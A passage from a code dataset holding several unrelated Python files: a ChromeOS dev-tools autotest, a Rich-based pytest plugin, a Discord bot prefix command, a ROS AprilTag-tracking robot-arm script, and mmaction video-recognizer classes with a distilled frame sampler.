test\nfrom autotest_lib.server.cros import debugd_dev_tools\n\n\nclass debugd_DevTools(test.test):\n \"\"\"\n Debugd dev tools test. See control file for details.\n \"\"\"\n version = 1\n\n\n def create_tools(self, host):\n \"\"\"\n Creates and initializes the tools needed for the test.\n\n Saves a RootfsVerificationTool to self.rootfs_tool and the rest\n to self.tools. The RootfsVerificationTool is handled separately\n because it can't be disabled and is required first for the\n other tools to function properly.\n\n @param host: Host device.\n\n @throw error.TestNAError: Dev tools are unavailable.\n \"\"\"\n if not debugd_dev_tools.are_dev_tools_available(host):\n raise error.TestNAError('Cannot access dev tools. Make sure the '\n 'device is in dev mode with no owner and '\n 'the boot lockbox is not finalized.')\n\n logging.debug('Creating dev tools.')\n self.rootfs_tool = debugd_dev_tools.RootfsVerificationTool()\n self.tools = (debugd_dev_tools.BootFromUsbTool(),\n debugd_dev_tools.SshServerTool(),\n debugd_dev_tools.SystemPasswordTool())\n\n logging.debug('Initializing dev tools.')\n self.rootfs_tool.initialize(host)\n for tool in self.tools:\n tool.initialize(host, save_initial_state=True)\n\n\n def cleanup_tools(self, host):\n \"\"\"\n Performs cleanup to return the device to its initial state.\n\n Any tools that fail to clean up will print a warning but will\n not register a test failure.\n\n @param host: Host device.\n \"\"\"\n logging.debug('Cleaning up tools.')\n for tool in self.tools:\n try:\n tool.restore_state()\n except debugd_dev_tools.FeatureUnavailableError as e:\n logging.warning('Could not restore %s - device state may be '\n 'altered by test (%s).', tool, e)\n debugd_dev_tools.remove_temp_files(host)\n\n\n def test_tool(self, tool):\n \"\"\"\n Tests an individual tool.\n\n Functionality is tested by disabling, enabling, then disabling\n again. Certain tools may be unavailable on a board (e.g. USB\n boot on Mario), which will log a warning but not register a\n test failure.\n\n @param tool: Tool object to test.\n\n @throw debugd_dev_tools.AccessError: Dev tool access failed.\n @throw error.TestFail: A tool failed to affect device state.\n \"\"\"\n # Start by disabling the tool. If disable fails we may still be\n # able to test enabling the tool.\n logging.debug('Disabling %s.', tool)\n try:\n tool.disable()\n except debugd_dev_tools.FeatureUnavailableError as e:\n # If the tool can't be disabled and is already enabled there's no\n # way to test if our enable function is working or not.\n if tool.is_enabled():\n logging.warning('Skipping %s - cannot disable (%s).', tool, e)\n return\n if tool.is_enabled():\n raise error.TestFail('%s did not disable correctly.' % tool)\n\n # Now enable the tool and make sure it worked.\n logging.debug('Enabling %s.', tool)\n try:\n tool.enable()\n except debugd_dev_tools.FeatureUnavailableError as e:\n logging.warning('Skipping %s - cannot enable (%s).', tool, e)\n return\n if not tool.is_enabled():\n raise error.TestFail('%s did not enable correctly.' % tool)\n\n # Disable one more time to confirm our disable routine works.\n logging.debug('Disabling %s.', tool)\n try:\n tool.disable()\n except debugd_dev_tools.FeatureUnavailableError:\n return\n if tool.is_enabled():\n raise error.TestFail('%s did not disable correctly.' % tool)\n\n\n def run_once(self, host=None):\n self.create_tools(host)\n try:\n # First remove rootfs verification if it's not already.\n if not self.rootfs_tool.is_enabled():\n logging.debug('Removing rootfs verification.')\n self.rootfs_tool.enable()\n\n for tool in self.tools:\n self.test_tool(tool)\n finally:\n self.cleanup_tools(host)\n","repo_name":"Ante0/MHA-NG_EMUI5.0_opensource","sub_path":"external/autotest/server/site_tests/debugd_DevTools/debugd_DevTools.py","file_name":"debugd_DevTools.py","file_ext":"py","file_size_in_byte":4515,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"11"} +{"seq_id":"6102337863","text":"\"\"\"A Rich based plugin for pytest.\"\"\"\nfrom __future__ import annotations\n\nimport os\nimport pickle\nimport sys\nfrom typing import TYPE_CHECKING\n\nimport pytest\nfrom _pytest.runner import (\n CallInfo, pytest_runtest_makereport as make_run_report)\nfrom rich.traceback import Traceback\n\nfrom .terminal import RichTerminalReporter\n\nif TYPE_CHECKING:\n from _pytest.terminal import TerminalReporter\n\n\ndef pytest_addoption(parser):\n \"\"\"Add command line option for this plug-in.\"\"\"\n group = parser.getgroup(\n 'rich', 'pytest-richer', after='terminal reporting')\n group.addoption(\n '--rich',\n action='store_true',\n help='Enable rich terminal reporting using pytest-richer.',\n )\n group.addoption(\n '--rich-std-symbols',\n action='store_true',\n help='Use standard symbols for test results progress display.',\n )\n group.addoption(\n '--rich-store-exec-times',\n action='store', metavar='PATH',\n help='Store test execution times in PATH.',\n )\n\n\ndef add_rich_info_to_report(\n report: pytest.Collector | pytest.TestReport,\n call: CallInfo | None = None) -> None:\n \"\"\"Add a rich_info attribute to a report.\"\"\"\n report.rich_info = None\n call = call or getattr(report, 'call', None)\n if call and call.excinfo:\n e = call.excinfo\n tb = Traceback.extract(\n exc_type=e.type, exc_value=e.value, traceback=e.tb,\n show_locals=True)\n\n # We can pickle a Trace, but apparently the xdist serialiser cannot\n # serialise it. So store in pickled form.\n s = pickle.dumps(tb)\n report.rich_info = s\n\n\n@pytest.hookimpl(hookwrapper=True)\ndef pytest_make_collect_report(\n collector: pytest.Collector) -> None: # noqa: ARG001\n \"\"\"Create a pytest.CollectReport with added 'rich_info' attribute.\n\n This replicates the standard pytest code to create the report and simply\n adds the extra attribute. Adding an attribute in this way is OK here\n because the test object is expected to carry arbitrary additional\n attributes.\n \"\"\"\n # Create the report exactly like the pytest code does.\n result = yield\n add_rich_info_to_report(result.get_result())\n\n\n@pytest.hookimpl(tryfirst=True)\ndef pytest_runtest_makereport(\n item: pytest.Item, call: CallInfo[None]) -> pytest.TestReport:\n \"\"\"Create a pytest.TestReport with added 'rich_info' attribute.\n\n This replicates the standard pytest code to create the report and simply\n adds the extra attribute. Adding an attribute in this way is OK here\n because the test object is expected to carry arbitrary additional\n attributes.\n \"\"\"\n # Create the report exactly like the pytest code does.\n report = make_run_report(item, call)\n add_rich_info_to_report(report, call)\n return report\n\n\n@pytest.hookimpl(tryfirst=True)\ndef pytest_cmdline_main(config):\n \"\"\"Over-ride the --tb option value, as far as pytest code is concerned.\n\n Note the user's chosen tracback style then override it to be 'short'.\n This ensures that pytest code saves the most useful traceback information.\n This plug-in then takes over the job of interpreting the '--tb' choice\n provided on the command line.\n\n Doing this here makes sure the value is over-ridden before the xdist\n plugin makes any copies.\n \"\"\"\n config.option.std_tbstyle = config.option.tbstyle\n if config.option.rich:\n config.option.tbstyle = 'short'\n\n\n@pytest.hookimpl(trylast=True)\ndef pytest_configure(config):\n \"\"\"Perform one-time configuration for this plug-in.\n\n This installs a RichTerminalReporter instance if the user has used the\n `--rich`` command line option.\n \"\"\"\n # If pytest-xdist is active then our reporter must only be installed\n # for the main process; indicated by PYTEST_XDIST_WORKER not being set.\n if os.environ.get('PYTEST_XDIST_WORKER') is None: # noqa: SIM102\n if sys.stdout.isatty() and config.getoption('rich'):\n manager = config.pluginmanager\n standard_reporter: TerminalReporter = manager.getplugin(\n 'terminalreporter')\n reporter = RichTerminalReporter(config, standard_reporter)\n config.pluginmanager.register(reporter, 'richer-terminal-reporter')\n\n\n@pytest.hookimpl(tryfirst=True)\ndef pytest_sessionstart(session: pytest.Session) -> None:\n \"\"\"Disable the standard report just before the test session runs.\"\"\"\n if os.environ.get('PYTEST_XDIST_WORKER') is None:\n config = session.config\n if sys.stdout.isatty() and config.getoption('rich'):\n standard_reporter = config.pluginmanager.getplugin(\n 'terminalreporter')\n if standard_reporter:\n # Monkey patch the standard reporter class to make output\n # producing hook-methods no-operations.\n cls = standard_reporter.__class__\n cls.pytest_collection_finish = nop\n cls.pytest_collection = nop\n cls.pytest_collectreport = nop\n cls.pytest_deselected = nop\n cls.pytest_internalerror = nop\n cls.pytest_runtest_logfinish = nop\n cls.pytest_runtest_logreport = nop\n cls.pytest_runtest_logstart = nop\n cls.pytest_runtest_logstart = nop\n cls.pytest_runtest_logstart = nop\n cls.pytest_runtestloop = nop\n cls.pytest_sessionfinish = nop\n cls.pytest_sessionstart = nop\n cls.pytest_terminal_summary = nop\n\n # Deregister then register the standard reported plugin so that\n # our monkey patched methods get used as the reporter's hook\n # methods. Note that other code assumes the existence of the\n # standard reporter, so simply deregistering it is not\n # sensible.\n config.pluginmanager.unregister(standard_reporter)\n config.pluginmanager.register(\n standard_reporter, 'terminalreporter')\n\n\ndef nop(*_args, **_kwargs):\n \"\"\"Do nothing.\n\n This is no-operation used to monkey-patch standard reporter methods.\n \"\"\"\n","repo_name":"paul-ollis/pytest-richer","sub_path":"src/pytest_richer/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":6251,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"19919834718","text":"\"\"\"general command to set settings for the bot\"\"\"\nfrom commands.command import InvocationCommand\n\nclass SetPrefix(InvocationCommand):\n \"\"\"sets the prefix to anything you want\"\"\"\n def __init__(self, cr):\n super().__init__(cr, self.set_prefix, \"setprefix\")\n\n async def set_prefix(self, ctx, prefix: str):\n \"\"\"sets a custom prefix for a guild\"\"\"\n if not 1 <= len(prefix) <= 3:\n await self.send_error_msg(ctx.channel, \"{} is not a valid prefix\".format(prefix))\n return\n\n self.router.settings[ctx.guild.id][\"prefix\"] = prefix\n","repo_name":"Koenic/Febot","sub_path":"commands/instances/general/setprefix.py","file_name":"setprefix.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74168237146","text":"#!/usr/bin/env python3\nimport sys\nimport cv2\nimport math\nimport time\nimport rospy\nimport numpy as np\nimport threading\nfrom sensor_msgs.msg import Image\nfrom std_msgs.msg import Bool\nfrom std_srvs.srv import SetBool, SetBoolResponse, SetBoolRequest\nfrom std_srvs.srv import Trigger, TriggerResponse, TriggerRequest\nfrom std_srvs.srv import Empty\nfrom jetmax_control.msg import SetServo\nimport hiwonder\nimport queue\nimport pupil_apriltags as apriltag\nimport yaml\n\n\n\"\"\"\nApriltag追踪实验\n请将jetmax调整到摄像头朝前状态\njetmax将追踪apriltag左右上向前后移动\n程序将维持apriltag在画面中心,摄像头前方15cm处\n程序没有对出现多个apriltag的情况做处理, 多个apriltag同时出现可能错乱\n若标签距离摄像头过远,程序会因机械臂无法到达目标位置而退出\n\"\"\"\n\nROS_NODE_NAME = \"apriltag_detector\"\nTAG_SIZE = 33.30\n\n\nclass AprilTagDetect:\n def __init__(self):\n self.is_running = False\n self.moving_block = None\n self.image_sub = None\n self.runner = None\n self.count = 0\n self.level = 0\n self.lock = threading.RLock()\n self.camera_params = None\n self.K = None\n self.R = None\n self.T = None\n self.pid_x = hiwonder.PID(0.07, 0, 0)\n self.pid_y = hiwonder.PID(0.05, 0, 0)\n self.pid_z = hiwonder.PID(0.05, 0, 0)\n self.servo_x = 500\n\n def reset(self):\n self.is_running = False\n self.moving_block = None\n self.image_sub = None\n self.runner = None\n self.count = 0\n self.level = 0\n\n def load_camera_params(self):\n self.camera_params = rospy.get_param('/camera_cal/block_params', self.camera_params)\n if self.camera_params is not None:\n self.K = np.array(self.camera_params['K'], dtype=np.float64).reshape(3, 3)\n self.R = np.array(self.camera_params['R'], dtype=np.float64).reshape(3, 1)\n self.T = np.array(self.camera_params['T'], dtype=np.float64).reshape(3, 1)\n\n\ndef rotation_mtx_to_euler(R):\n sy = math.sqrt(R[0, 0] * R[0, 0] + R[1, 0] * R[1, 0])\n singular = sy < 1e-6\n if not singular:\n x = math.atan2(R[2, 1], R[2, 2])\n y = math.atan2(-R[2, 0], sy)\n z = math.atan2(R[1, 0], R[0, 0])\n else:\n x = math.atan2(-R[1, 2], R[1, 1])\n y = math.atan2(-R[2, 0], sy)\n z = 0\n return np.array([x, y, z])\n\n\ndef RotateByZ(Cx, Cy, thetaZ):\n rz = thetaZ*math.pi/180.0\n outX = math.cos(rz)*Cx - math.sin(rz)*Cy\n outY = math.sin(rz)*Cx + math.cos(rz)*Cy\n return outX, outY\ndef RotateByY(Cx, Cz, thetaY):\n ry = thetaY*math.pi/180.0\n outZ = math.cos(ry)*Cz - math.sin(ry)*Cx\n outX = math.sin(ry)*Cz + math.cos(ry)*Cx\n return outX, outZ\ndef RotateByX(Cy, Cz, thetaX):\n rx = thetaX*math.pi/180.0\n outY = math.cos(rx)*Cy - math.sin(rx)*Cz\n outZ = math.sin(rx)*Cy + math.cos(rx)*Cz\n return outY, outZ\n\ndef image_proc_a(img):\n frame_gray = cv2.cvtColor(np.copy(img), cv2.COLOR_RGB2GRAY) # 将画面转为灰度图\n params = [state.K[0][0], state.K[1][1], state.K[0][2], state.K[1][2]] # 相机内参\n tags = at_detector.detect(frame_gray, estimate_tag_pose=True, camera_params=params, tag_size=TAG_SIZE) # 进行AprilTag的检测\n for tag in tags:\n corners = tag.corners.reshape(1, -1, 2).astype(int) # 检测到的AprilTag的四个角的点\n center = tag.center.astype(int) # AprilTag中心点\n\n cv2.drawContours(img, corners, -1, (255, 0, 0), 3) # 画出外框\n cv2.circle(img, tuple(center), 5, (255, 255, 0), 10) # 画出中心点\n\n point_3d = np.array([[16.65, -16.65, 0], \n [-16.65,-16.65, 0], \n [-16.65, 16.65, 0], \n [16.65, 16.65, 0]], dtype=np.double)\n point_2d = np.array([tag.corners[0].astype(int),\n tag.corners[1].astype(int),\n tag.corners[2].astype(int),\n tag.corners[3].astype(int)],\n dtype=np.double)\n\n dist_coefs = np.array([0,0,0,0], dtype=np.double)\n found, rvec, tvec = cv2.solvePnP(point_3d, point_2d, state.K, None)\n rotM = cv2.Rodrigues(rvec)[0]\n camera_postion = -np.matrix(rotM).T * np.matrix(tvec)\n print(camera_postion.T)\n #计算三轴的旋转角\n thetaZ = math.atan2(rotM[1, 0], rotM[0, 0])*180.0/math.pi\n thetaY = math.atan2(-1.0*rotM[2, 0], math.sqrt(rotM[2, 1]**2 + rotM[2, 2]**2))*180.0/math.pi\n thetaX = math.atan2(rotM[2, 1], rotM[2, 2])*180.0/math.pi\n # camera coordinates\n x = tvec[0]\n y = tvec[1]\n z = tvec[2]\n (x, y) = RotateByZ(x, y, -1.0*thetaZ)\n (x, z) = RotateByY(x, z, -1.0*thetaY)\n (y, z) = RotateByX(y, z, -1.0*thetaX)\n Cx = x*-1\n Cy = y*-1\n Cz = z*-1\n print(\"camera position:\",Cx, Cy, Cz)\n print(\"camera rotation:\", thetaX, thetaY, thetaZ)\n center_x, center_y = tag.center\n e_x = 320 - center_x\n e_y = 240 - center_y\n e_z = -150 - Cz\n\n state.pid_x.update(e_x)\n state.servo_x -= state.pid_x.output\n jetmax.set_servo(1, state.servo_x, 0.04)\n cur = list(jetmax.position)\n state.pid_y.update(e_y)\n state.pid_z.update(e_z)\n cur[2] -= state.pid_y.output\n cur[1] += state.pid_z.output\n jetmax.set_position(cur, 0.04)\n\n\n\n img_h, img_w = img.shape[:2]\n cv2.line(img, (int(img_w / 2 - 10), int(img_h / 2)), (int(img_w / 2 + 10), int(img_h / 2)), (0, 255, 255), 2)\n cv2.line(img, (int(img_w / 2), int(img_h / 2 - 10)), (int(img_w / 2), int(img_h / 2 + 10)), (0, 255, 255), 2)\n return img\n\n\ndef image_proc_b():\n ros_image = image_queue.get(block=True)\n image = np.ndarray(shape=(ros_image.height, ros_image.width, 3), dtype=np.uint8, buffer=ros_image.data)\n frame_result = image.copy()\n frame_result = image_proc_a(frame_result)\n bgr_image = cv2.cvtColor(frame_result, cv2.COLOR_RGB2BGR)\n cv2.imshow('result', bgr_image)\n cv2.waitKey(1)\n\n\ndef image_callback(ros_image):\n try:\n image_queue.put_nowait(ros_image)\n except queue.Full:\n pass\n\n\nif __name__ == '__main__':\n state = AprilTagDetect()\n jetmax = hiwonder.JetMax()\n sucker = hiwonder.Sucker()\n at_detector = apriltag.Detector()\n image_queue = queue.Queue(maxsize=1)\n rospy.init_node(ROS_NODE_NAME, log_level=rospy.DEBUG)\n jetmax.go_home()\n state.load_camera_params()\n if state.camera_params is None:\n rospy.logerr('Can not load camera parameters')\n sys.exit(-1)\n rospy.ServiceProxy('/jetmax/go_home', Empty)()\n rospy.Publisher('/jetmax/end_effector/sucker/command', Bool, queue_size=1).publish(data=False)\n rospy.Publisher('/jetmax/end_effector/servo1/command', SetServo, queue_size=1).publish(data=90, duration=0.5)\n image_sub = rospy.Subscriber('/usb_cam/image_rect_color', Image, image_callback)\n while not rospy.is_shutdown():\n image_proc_b()\n","repo_name":"trong2409/Do_an_KTMT","sub_path":"OPC_UA_Control_Arm_Part2/ros/src/Ai_JetMax/scripts/apriltag_tracking.py","file_name":"apriltag_tracking.py","file_ext":"py","file_size_in_byte":7033,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"31222477837","text":"from ..registry import RECOGNIZERS\nfrom .base import BaseRecognizer\nfrom torch import nn\nfrom mmcv.cnn.bricks.transformer import build_transformer_layer_sequence\nfrom mmcv.cnn.utils.weight_init import trunc_normal_\nimport torch.nn.functional as F\nfrom mmcv import ConfigDict\nimport torch\n\nfrom torch import Tensor\nimport torchvision.transforms as transforms\nfrom PIL import Image\nfrom einops import rearrange\nfrom itertools import combinations\n\nclass PairwiseLoss(nn.Module):\n def __init__(self, total_segment=10, sort='hinge', gamma=0) -> None:\n super(PairwiseLoss, self).__init__()\n self.total_segment = 10\n self.sort = sort\n self.gamma = gamma\n self.topk = None\n self.i_index = []\n self.j_index = []\n for i, j in list(combinations([i for i in range(total_segment)], 2)):\n self.i_index.append(i)\n self.j_index.append(j)\n def forward(self, input: Tensor, target: Tensor) -> Tensor:\n delta_input = input[:,self.i_index] - input[:,self.j_index]\n delta_target = target[:, self.i_index] - target[:,self.j_index]\n sign = torch.sign(delta_target)\n delta_target = delta_target * sign\n delta_input = delta_input * sign\n if self.sort == 'hinge':\n result = delta_target * torch.clamp(self.gamma - delta_input, min=0)\n return result.sum(-1).mean()\n elif self.sort == 'exp':\n result = delta_target * torch.exp(self.gamma - delta_input)\n return result.sum(-1).mean()\n elif self.sort == 'log':\n result = delta_target * torch.log(1 + torch.exp(self.gamma - delta_input))\n return result.sum(-1).mean()\n if self.sort == 'ahinge':\n result = torch.clamp(self.gamma + delta_target - delta_input, min=0)\n return result.sum(-1).mean()\n elif self.sort == 'aexp':\n result = torch.exp(self.gamma + delta_target- delta_input)\n return result.sum(-1).mean()\n elif self.sort == 'alog':\n result = torch.log(1 + torch.exp(self.gamma + delta_target - delta_input))\n return result.sum(-1).mean()\n elif self.sort == 'bpr':\n result = -torch.log(torch.sigmoid(delta_input))\n return result.sum(-1).mean()\n else:\n raise(\"Pairwise Loss: Sort must be in ['hinge', 'exp', 'log', 'bpr] \")\n\n\n@RECOGNIZERS.register_module()\nclass Recognizer2D(BaseRecognizer):\n \"\"\"2D recognizer model framework.\"\"\"\n\n def forward_train(self, imgs, labels, **kwargs):\n \"\"\"Defines the computation performed at every call when training.\"\"\"\n batches = imgs.shape[0]\n imgs = imgs.reshape((-1, ) + imgs.shape[2:])\n num_segs = imgs.shape[0] // batches\n\n losses = dict()\n\n x = self.extract_feat(imgs)\n if hasattr(self, 'neck'):\n x = [\n each.reshape((-1, num_segs) +\n each.shape[1:]).transpose(1, 2).contiguous()\n for each in x\n ]\n x, loss_aux = self.neck(x, labels.squeeze())\n x = x.squeeze(2)\n num_segs = 1\n losses.update(loss_aux)\n\n cls_score = self.cls_head(x, num_segs)\n gt_labels = labels.squeeze()\n loss_cls = self.cls_head.loss(cls_score, gt_labels, **kwargs)\n losses.update(loss_cls)\n\n return losses\n\n def _do_test(self, imgs):\n \"\"\"Defines the computation performed at every call when evaluation,\n testing and gradcam.\"\"\"\n batches = imgs.shape[0]\n\n imgs = imgs.reshape((-1, ) + imgs.shape[2:])\n num_segs = imgs.shape[0] // batches\n\n x = self.extract_feat(imgs)\n if hasattr(self, 'neck'):\n x = [\n each.reshape((-1, num_segs) +\n each.shape[1:]).transpose(1, 2).contiguous()\n for each in x\n ]\n x, _ = self.neck(x)\n x = x.squeeze(2)\n num_segs = 1\n\n # When using `TSNHead` or `TPNHead`, shape is [batch_size, num_classes]\n # When using `TSMHead`, shape is [batch_size * num_crops, num_classes]\n # `num_crops` is calculated by:\n # 1) `twice_sample` in `SampleFrames`\n # 2) `num_sample_positions` in `DenseSampleFrames`\n # 3) `ThreeCrop/TenCrop/MultiGroupCrop` in `test_pipeline`\n # 4) `num_clips` in `SampleFrames` or its subclass if `clip_len != 1`\n cls_score = self.cls_head(x, num_segs)\n\n assert cls_score.size()[0] % batches == 0\n # calculate num_crops automatically\n cls_score = self.average_clip(cls_score,\n cls_score.size()[0] // batches)\n\n return cls_score\n\n def forward_test(self, imgs):\n \"\"\"Defines the computation performed at every call when evaluation and\n testing.\"\"\"\n return self._do_test(imgs).cpu().numpy()\n\n def forward_dummy(self, imgs):\n \"\"\"Used for computing network FLOPs.\n\n See ``tools/analysis/get_flops.py``.\n\n Args:\n imgs (torch.Tensor): Input images.\n\n Returns:\n Tensor: Class score.\n \"\"\"\n batches = imgs.shape[0]\n imgs = imgs.reshape((-1, ) + imgs.shape[2:])\n num_segs = imgs.shape[0] // batches\n\n x = self.extract_feat(imgs)\n if hasattr(self, 'neck'):\n x = [\n each.reshape((-1, num_segs) +\n each.shape[1:]).transpose(1, 2).contiguous()\n for each in x\n ]\n x, _ = self.neck(x)\n x = x.squeeze(2)\n num_segs = 1\n\n # outs = (self.cls_head(x, num_segs), )\n # return outs\n return x\n\n def forward_gradcam(self, imgs):\n \"\"\"Defines the computation performed at every call when using gradcam\n utils.\"\"\"\n return self._do_test(imgs)\n\n@RECOGNIZERS.register_module()\nclass KDSampler2DRecognizer2D(BaseRecognizer):\n \"\"\"2D recognizer model framework.\"\"\"\n def __init__(self,\n backbone,\n cls_head,\n sampler=None,\n neck=None,\n train_cfg=None,\n test_cfg=None,\n use_sampler=False,\n loss='kl',\n ce_loss=False,\n loss_lambda=1.0,\n simple=False,\n num_segments=10,\n num_classes=200,\n num_test_segments=6,\n softmax=False,\n return_logit=True,\n temperature=1.0,\n gamma=0.0,\n dropout_ratio=0.5,\n resize_px=None):\n super().__init__(backbone, cls_head, sampler, neck, train_cfg, test_cfg, use_sampler)\n \n if sampler is None:\n self.sampler = None\n self.resize_px=resize_px\n assert loss in ['kl','mse','hinge','exp','log','ahinge','aexp','alog','bpr','bce']\n if loss == 'kl':\n self.loss = torch.nn.KLDivLoss(reduction='batchmean', log_target=True)\n elif loss == 'mse':\n self.loss = torch.nn.MSELoss()\n elif loss == 'bce':\n self.loss = torch.nn.BCELoss()\n assert softmax == False\n assert return_logit == False\n else:\n self.loss = PairwiseLoss(total_segment=num_segments, sort=loss, gamma=gamma)\n self.ce_loss = ce_loss\n self.loss_lambda = loss_lambda\n self.loss_name = loss\n self.num_segments = num_segments\n self.num_test_segments = num_test_segments\n self.num_classes = num_classes\n self.softmax = softmax\n self.simple = simple\n self.return_logit = return_logit\n if self.softmax and self.simple:\n raise(\"softmax and simple cannot be applied simultaneously\")\n if self.return_logit and self.simple:\n raise(\"return_logit and simple cannot be applied simultaneously\")\n self.temperature = temperature\n if self.sampler.__class__.__name__ in ['MobileNetV2', 'MobileNetV2TSM', 'FlexibleMobileNetV2TSM']:\n self.input_dims = 1280\n else:\n self.input_dims = 2048 # 1280 Correction needed\n self.avg_pool = nn.AdaptiveAvgPool2d(1)\n self.sample_fc = nn.Linear(self.input_dims, 1)\n if self.ce_loss:\n self.ce = torch.nn.CrossEntropyLoss()\n self.sampler_head = nn.Linear(self.input_dims, self.num_classes)\n self.dropout_ratio = dropout_ratio\n if self.dropout_ratio != 0:\n self.dropout = nn.Dropout(p=self.dropout_ratio)\n else:\n self.dropout = None\n \n def sample_forward(self, x_s, num_segs, test_mode=False):\n \"\"\"Defines getting sample distribution\"\"\"\n x_s = torch.flatten(self.avg_pool(x_s), 1) # [N * num_segs, in_channels]\n # x_s = x_s.reshape(-1, num_segs, self.input_dims) # [N, num_segs, embed_dims]\n if self.dropout is not None:\n x_s = self.dropout(x_s)\n logit = self.sample_fc(x_s).squeeze(-1) # [N, num_segs]\n logit = logit.reshape(-1, num_segs)\n if not self.return_logit:\n logit = torch.sigmoid(logit)\n if self.softmax:\n logit = F.softmax(logit, -1)\n return logit\n\n def forward_train(self, imgs, labels, **kwargs):\n \"\"\"Defines the computation performed at every call when training.\"\"\"\n self.backbone.eval()\n self.cls_head.eval()\n batches = imgs.shape[0] #imgs [N, num_segs, 3, H, W]\n imgs = imgs.reshape((-1, ) + imgs.shape[2:]) #imgs [N * num_segs, 3, H, W]\n num_segs = imgs.shape[0] // batches\n\n losses = dict()\n\n x = self.extract_feat(imgs) # [N * num_segs, in_channels, h, w]\n if self.sampler is not None:\n if self.resize_px is None:\n x_s = self.sampler(imgs, num_segs).squeeze()\n else:\n x_s = self.sampler(F.interpolate(imgs, size=self.resize_px), num_segs).squeeze()\n else:\n x_s = x.clone()\n \n # making gt label\n # x = torch.flatten(self.cls_head.avg_pool(x), 1) # [N * num_segs, in_channels] \n # cls_score = self.cls_head.fc_cls(x) # [N * num_segs, num_classes]\n cls_score = self.cls_head(x, 1, return_logit=True)\n if not self.return_logit:\n cls_score = cls_score.softmax(-1)\n cls_score = cls_score.reshape(batches, num_segs, -1) # [N, num_segs, num_classes]\n gt_labels = labels.squeeze()\n gt_logit = cls_score[range(batches),:,gt_labels] # [B, T]\n if self.softmax:\n gt_logit = F.softmax(gt_logit/self.temperature, -1)\n if self.simple:\n simple_index = gt_logit.topk(3, dim=1)[1]\n batch_index = torch.arange(batches).unsqueeze(-1).expand_as(simple_index)\n gt_logit[:] = 0.0\n gt_logit[batch_index, simple_index] = 1.0\n # gt_logit[gt_logit >= 0.3] = 1.0\n # gt_logit[gt_logit < 0.3] = 0.0\n # sampler dist\n logit = self.sample_forward(x_s, num_segs) # [N, num_segs]\n losses[f'{self.loss_name}_loss'] = self.loss(logit, gt_logit) * self.loss_lambda\n losses['logit_min'] = logit.min(-1)[0].mean(0)\n losses['logit_max'] = logit.max(-1)[0].mean(0)\n if self.ce_loss:\n x_s = torch.flatten(self.avg_pool(x_s), 1) # [N * num_segs, in_channels]\n if self.dropout is not None:\n x_s = self.dropout(x_s)\n sampler_cls_score = self.sampler_head(x_s) # [N * num_segs, num_classes]\n sampler_cls_score = sampler_cls_score.reshape(batches, num_segs, -1) # [N, num_segs, num_classes]\n sampler_cls_score = sampler_cls_score.mean(1) # [N, num_classes]\n losses['ce_loss'] = self.ce(sampler_cls_score, gt_labels) * (1 - self.loss_lambda)\n\n return losses\n\n def _do_test(self, imgs):\n \"\"\"Defines the computation performed at every call when evaluation,\n testing and gradcam.\"\"\"\n batches = imgs.shape[0]\n\n imgs = imgs.reshape((-1, ) + imgs.shape[2:])\n num_segs = imgs.shape[0] // batches\n\n # x = self.extract_feat(imgs) # [N * num_segs, in_channels, h, w]\n if self.sampler is not None:\n if self.resize_px is None:\n x_s = self.sampler(imgs, num_segs).squeeze()\n else:\n x_s = self.sampler(F.interpolate(imgs, size=self.resize_px), num_segs).squeeze()\n else:\n x_s = self.extract_feat(imgs) # [N * num_segs, in_channels, h, w]\n \n \n probs = self.sample_forward(x_s, num_segs, test_mode=True) # [N, num_segs]\n sample_index = probs.topk(self.num_test_segments, dim=1)[1]\n sample_index, _ = sample_index.sort(dim=1, descending=False)\n batch_inds = torch.arange(batches).unsqueeze(-1).expand_as(sample_index)\n # sample_probs = probs[batch_inds, sample_index]\n imgs = imgs.reshape((batches, -1) + (imgs.shape[-3:]))\n sampled_imgs = imgs[batch_inds, sample_index]\n sampled_imgs = sampled_imgs.reshape((-1, ) + sampled_imgs.shape[2:])\n\n x = self.extract_feat(sampled_imgs)\n\n if hasattr(self, 'neck'):\n x = [\n each.reshape((-1, num_segs) +\n each.shape[1:]).transpose(1, 2).contiguous()\n for each in x\n ]\n x, _ = self.neck(x)\n x = x.squeeze(2)\n num_segs = 1\n\n # When using `TSNHead` or `TPNHead`, shape is [batch_size, num_classes]\n # When using `TSMHead`, shape is [batch_size * num_crops, num_classes]\n # `num_crops` is calculated by:\n # 1) `twice_sample` in `SampleFrames`\n # 2) `num_sample_positions` in `DenseSampleFrames`\n # 3) `ThreeCrop/TenCrop/MultiGroupCrop` in `test_pipeline`\n # 4) `num_clips` in `SampleFrames` or its subclass if `clip_len != 1`\n cls_score = self.cls_head(x, self.num_test_segments)\n\n assert cls_score.size()[0] % batches == 0\n # calculate num_crops automatically\n cls_score = self.average_clip(cls_score,\n cls_score.size()[0] // batches)\n\n return cls_score\n\n def forward_test(self, imgs):\n \"\"\"Defines the computation performed at every call when evaluation and\n testing.\"\"\"\n return self._do_test(imgs).cpu().numpy()\n\n def forward_dummy(self, imgs):\n \"\"\"Used for computing network FLOPs.\n\n See ``tools/analysis/get_flops.py``.\n\n Args:\n imgs (torch.Tensor): Input images.\n\n Returns:\n Tensor: Class score.\n \"\"\"\n batches = imgs.shape[0]\n imgs = imgs.reshape((-1, ) + imgs.shape[2:])\n num_segs = imgs.shape[0] // batches\n\n x = self.extract_feat(imgs)\n if hasattr(self, 'neck'):\n x = [\n each.reshape((-1, num_segs) +\n each.shape[1:]).transpose(1, 2).contiguous()\n for each in x\n ]\n x, _ = self.neck(x)\n x = x.squeeze(2)\n num_segs = 1\n\n # outs = (self.cls_head(x, num_segs), )\n # return outs\n return x\n\n def forward_gradcam(self, imgs):\n \"\"\"Defines the computation performed at every call when using gradcam\n utils.\"\"\"\n return self._do_test(imgs)\n","repo_name":"isno0907/kdsampler","sub_path":"mmaction/models/recognizers/recognizer2d.py","file_name":"recognizer2d.py","file_ext":"py","file_size_in_byte":15431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"70611121627","text":"from django.contrib import admin\nfrom .models import *\nfrom django.forms import ModelForm, Form\nfrom django.forms import DateField, CharField, ChoiceField, 